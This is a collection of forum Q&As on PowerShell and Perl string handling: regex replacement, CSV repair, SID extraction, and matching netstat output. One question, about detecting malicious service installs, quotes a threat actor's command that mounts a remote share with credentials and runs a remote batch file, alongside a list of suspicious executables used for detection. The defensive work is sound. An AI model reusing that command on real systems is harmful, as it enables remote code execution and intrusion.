I'm trying to replace all links within an array from this format "\\domain\share" to this "\\domain\share" to have it HTML compatible (without the double single quotes, that's a formatting issue here on StackOverflow).
$arrayJobError = #()
$arrayJobError = "ERROR | Path doesn't exist: UNC, `"\\doman\Share`""
$arrayJobError += "This path `"\\doman\Share`" isn't right!"
I was trying like this $arrayJobError -match "\"*`"" but it's not really fool proof and I don't really know what the best way would be to replace only that piece within the array?
Any help is appreciated as I'm a noob in string manipulation.
I'm not sure I understand exactly what you are doing with $arrayJobError, the way you define it above $arrayJobError becomes a concatenated string rather than array of strings. Here is what I think you are after:
$arrayJobError = #("ERROR | Path doesn't exist: UNC, `"\\doman\Share`"","This path `"\\doman\Share`" isn't right!")
$regex = '"(.+?)"'
$arrayJobError -replace $regex, "`"`$1`""
Result:
ERROR | Path doesn't exist: UNC, ""\\doman\Share""
This path ""\\doman\Share"" isn't right!
If you are after extracting the paths and adding html tags use this, it will process all matches:
[regex]::matches($arrayJobError, $regex).Value | % {
"`"" + $_ + "`""
}
Result:
"\\doman\Share"
"\\doman\Share"
Related
Thank you for all the help I've gotten so far, much appreciated. I have been trying to achieve a simple task: to compare "Image Path" of a Event ID 7045 with a set of pre-defined keywords. The Like isn't working and Compare looks for an exact match.
$sus = #('powershell.exe','cmd.exe','psexesvc.exe')
$7045 = Get-WinEvent -FilterHashtable #{ Path="System.evtx"; Id = 7045 } | select
#{N=’Timestamp’;E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id,
#{N=’Machine Name’;E={$_.MachineName}},
#{N=’Service Name’;
E={$_.Properties[0].Value}},
#{N=’Image Path’; E={$_.Properties[1].Value}},#{N=’RunAsUser’; E={$_.Properties[4].Value}},
#{N=’Installed By’; E={$_.UserId}} | where 'Image Path' -match $sus```
I mean, if any of the keywords hit a match, I'd be interested!
To give you an idea, one of the many many malicious services installed by a Threat Actor looked like,
``cmd.exe /c powershell -c "net use \\192.168.100.100 /user:workgroup\test p#ssw0rd123;cmd.exe /c \\192.168.100.100\OutPut\run.bat"
So I kinda have many examples but .. if there was a way to get the Like operator work here, fantastic!
Thank you :)
You can use regex -match instead of like. For that, you need to create a regex string from the executables, combining the names with regex 'OR' (|) and escape the dot with a backslash:
# create a regex for the suspicious executables:
$sus = '(powershell|cmd|psexesvc)\.exe'
# alternatively you can join the array items like this:
# $sus = ('powershell.exe','cmd.exe','psexesvc.exe' | ForEach-Object {[regex]::Escape($_)}) -join '|'
$7045 = Get-WinEvent -FilterHashtable #{ LogName = 'System';Id = 7045 } |
Where-Object { $_.Properties[1].Value -match $sus } |
Select-Object Id,
#{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
#{N='Machine Name';E={$_.MachineName}},
#{N='Service Name'; E={$_.Properties[0].Value}},
#{N='Image Path'; E={$_.Properties[1].Value}},
#{N='RunAsUser'; E={$_.Properties[4].Value}},
#{N='Installed By'; E={$_.UserId}}
OK, Powershell may not be the best tool for the job but it's the only one available to me.
I have a bunch of 600K+ row .csv data files. Some of them have delimiter errors e.g. " in the middle of a text field or "" at the start of one. They are too big to edit (even in UltraEdit) and fix manually even if I wanted to which I don't!
Because the double-""-delimeter at the start of some text fields and rogue-"-delimiter in the middle of some text fields, I haven't used a header row to define the columns because these rows appear as if there is an extra column in them due to the extra delimiter.
I need to parse the file looking for "" instead of " at the start of a text-field and also to look for " in the middle of a text field and remove them.
I have managed to write the code to do this (after a fashion) by basically reading the whole file into an array, looping through it and adding output characters to an output array.
What I haven't managed to do is successfully write this output array to a file.
I have read every part of https://learn.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Utility/out-file?view=powershell-5.1 that seemed relevant. I've also trawled through about 10 similar questions on this site and attempted various code gleaned from them.
The output array prints perfectly to screen using a Write-Host but I can't get the data back into a file for love or money. I have a total of 1.5days Powershell experience so far! All suggestions gratefully received.
Here is my code to read/identify rogue delimiters (not pretty (at all), refer previous explanation of data and available technology constraints):
$ContentToCheck=get-content 'myfile.csv' | foreach { $_.ToCharArray()}
$ContentOutputArray=#()
for ($i = 0; $i -lt $ContentToCheck.count; $i++)
{
if (!($ContentToCheck[$i] -match '"')) {#not a quote
if (!($ContentToCheck[$i] -match ',')) {#not a comma i.e. other char that could be enclosed in ""
if ($ContentToCheck[$i-1] -match '"' ) {#check not rogue " delimiter in previous char allow for start of file exception i>1?
if (!($ContentToCheck[$i-2] -match ',') -and !($ContentToCheck[$i-3] -match '"')){
Write-Host 'Delimiter error' $i
$ContentOutputArray+= ''
}#endif not preceded by ",
}#endif"
else{#previous char not a " so move on
$ContentOutputArray+= $ContentToCheck[$i]
}
}#endifnotacomma
else
{#a comma, include it
$ContentOutputArray+= $ContentToCheck[$i]
}#endacomma
}#endifnotaquote
else
{#a quote so just append it to the output array
$ContentOutputArray+= $ContentToCheck[$i]
}#endaquote
}#endfor
So far so good, if inelegant. if I do a simple
Write-Host $ContentOutputArray
data displays nicely " 6 5 " , " 652 | | 999 " , " 99 " , " " , " 678 | | 1 " ..... furthermore when I check the size of the array (based on a cut-down version of one of the problem files)
$ContentOutputArray.count
I get 2507 character length of array. Happy out. However, then variously using:
$ContentOutputArray | Set-Content 'myfile_FIXED.csv'
creates blank file
$ContentOutputArray | out-file 'myfile_FIXED.csv' -encoding ASCII
creates blank file
$ContentOutputArray | export-csv 'myfile_FIXED.csv'
gives only '#TYPE System.Char' in file
$ContentOutputArray | Export-Csv 'myfile_FIXED.csv' -NoType
gives empty file
$ContentOutputArray >> 'myfile_FIXED.csv'
gives blanks separated by ,
What else can I try to write an array of characters to a flat file? It seems such a basic question but it has me stumped. Thanks for reading.
Convert (or cast) the char array to a string before exporting it.
(New-Object string (,$ContentOutputArray)) |Set-Content myfile_FIXED.csv
I have an array $vhdlist with contents similar to the following filenames:
UVHD-S-1-5-21-8746256374-654813465-374012747-4533.vhdx
UVHD-S-1-5-21-8746256374-654813465-374012747-6175.vhdx
UVHD-S-1-5-21-8746256374-654813465-374012747-8147.vhdx
UVHD-template.vhdx
I want to use a regex and be left with an array containing only SID portion of the filenames.
I am using the following:
$sids = foreach ($file in $vhdlist)
{
[regex]::split($file, '^UVHD-(?:([(\d)(\w)-]+)).vhdx$')
}
There are 2 problems with this: in the resulting array there are 3 blank lines for every SID; and the "template" filename matches (the resulting line in the output is just "template"). How can I get an array of SIDs as the output and not include the "template" line?
You seem to want to filter the list down to those filenames that contain an SID. Filtering is done with Where-Object (where for short); you don't need a loop.
An SID could be described as "S- and then a bunch of digits and dashes" for this simple case. That leaves us with ^UVHD-S-[\d-]*\.vhdx$ for the filename.
In combination we get:
$vhdlist | where { $_ -Match "^UVHD-S-[\d-]*\.vhdx$" }
When you don't really have an array of strings, but actually an array of files, use them directly.
dir C:\some\folder | where { $_.Name -Match "^UVHD-S-[\d-]*\.vhdx$" }
Or, possibly you can even make it as simple as:
dir C:\some\folder\UVHD-S-*.vhdx
EDIT
Extracting the SIDs from a list of strings can be thought as a combined transformation (for each element, extract the SID) and filter (remove non-matches) operation.
PowerShell's ForEach-Object cmdlet (foreach for short) works like map() in other languages. It takes every input element and returns a new value. In effect it transforms a list of input elements into output elements. Together with the -replace operator you can extract SIDs this way.
$vhdlist | foreach { $_ -replace ^(?:UVHD-(S-[\d-]*)\.vhdx|.*)$,"`$1" } | where { $_ -gt "" }
The regex back-reference for .NET languages is $1. The $ is a special character in PowerShell strings, so it needs to be escaped, except when there is no ambiguity. The backtick is the PS escape character. You can escape the $ in the regex as well, but there it's not necessary.
As a final step we use where to remove empty strings (i.e. non-matches). Doing it this way around means we only need to apply the regex once, instead of two times when filtering first and replacing second.
PowerShell operators can also work on lists directly. So the above could even be shortened:
$vhdlist -replace "^UVHD-(S-[\d-]*)\.vhdx$","`$1" | where { $_ -gt "" }
The shorter version only works on lists of actual strings or objects that produce the right thing when .ToString() is called on them.
Regex breakdown:
^ # start-of-string anchor
(?: # begin non-capturing group (either...)
UVHD- # 'UVHD-'
( # begin group 1
S-[\d-]* # 'S-' and however many digits and dashes
) # end group 1
\.vhdx # '.vhdx'
| # ...or...
.* # anything else
) # end non-capturing group
$ # end-of-string anchor
Is there any way to use grep to find only elements that exists in specific array?
For example :
my #IPS ={"10.20.30","12.13.14","30.40.50"};
my $cmd = `netstat -Aa | grep -c IPS[0] OR IPS[1] OR IPS[2] `
print "$cmd";
I want cmd to return the number of IPS (only those found in the array) that exists in the output of netstat command.
I know I can use " | " or condition but assume that I do not know the number of elements in array.
Your #IPS array does not contain what you think it contains. I think you probably wanted:
my #IPS = ("10.20.30","12.13.14","30.40.50");
And I'd write that as:
my #IPS = qw(10.20.30 12.13.14 30.40.50);
I know I can use " | " or condition but assume that I do not know the number of elements in array
I don't think that matters at all.
# Need quotemeta() to escape the dots
my $IP_str = join '|', map { quotemeta $_ } #IPS;
my $IP_re = qr/$IP_str/;
# Keep as much of the processing as possible in Perl-space
my #found = grep { /$IP_str/ } `netstat -Aa`;
say scalar #found;
An alternative to the regex, is to turn #IPS into a hash.
my %IP = map { $_ => 1 } #IPS;
my #found = grep { $IP{$_} } `netstat -Aa`;
say scalar #found;
Update: Actually, that last example doesn't work. You would need to extract the IP addresses from the netstat output before matching against the hash. but I've left it there in case it inspires anyone to expand it.
A quick and dirty way to do this is by utilizing the $" variable in perl:
my #IPS =("10.20.30","12.13.14","30.40.50");
local $"='|';
my $cmd = `netstat -Aa | grep '#IPS' | wc -l`
print "$cmd";
The idea is that $" controls how an array variable is appears when interpolated inside some quotes. So by saying $"='|' we cause the #IPS array to be interpolated as a concatenation of its elements separated by |. Note: you should only use this if you trust of the source of #IPS e.g. if you type it yourself in the code. If it comes from an untrusted external source, the above trick might be dangerous.
Edit: If #IPS does come from an untrusted source, you can validate it first like so
/^[\d.]+$/ or die "Invalid IP address" for #IPS;
I am trying to pull some file paths from an array and use them to test if a folder is located on serval machines.
I seem to get an error pulling the value from the 2-dimentional array and putting it in a variable.
Here is a striped down, very basic version of my script.
$PCS = "PC1","PC2","PC3"
$locations= #("System32","Windows\System32"),
("Public","Users\Public")
ForEach($PC in $PCS){
$i=0
Do
{
$fullpath = "\\" + $PC + "\C$\" + "$locations[$i][1]"
test-path $fullpath
$i++
}
While ($i -le ($locations.length-1) )
}
However when I use $fullpath to test if the folder is there, I get false, and upon further investigation, the actual value of $fullpath is:
\\PC1\C$\System.Object[] System.Object[] System.Object[] System.Object[]
How can I get the value from the array, so I can use it as a filepath location?
$fullpath = "\\" + $PC + "\C$\" + "$($locations[$i][1])"
or
$fullpath = "\\" + $PC + "\C$\" + $locations[$i][1]
As arco444 points out, your code as posted seems incomplete, but I think your issue will be fixed by above.
Explanation
When you use "$locations[$i][1]" it only interprets $locations as a variable within the string. Using . to access properties or [] to access elements is interpreted as literal characters.
So in this case, you can use the second option (don't surround it in quotes) if the result of the lookup is already a string or can be coerced into one.
In the general sense, the first option uses $(...) which is a sub-expression. The ... can be any code, including entire pipelines and function calls and such.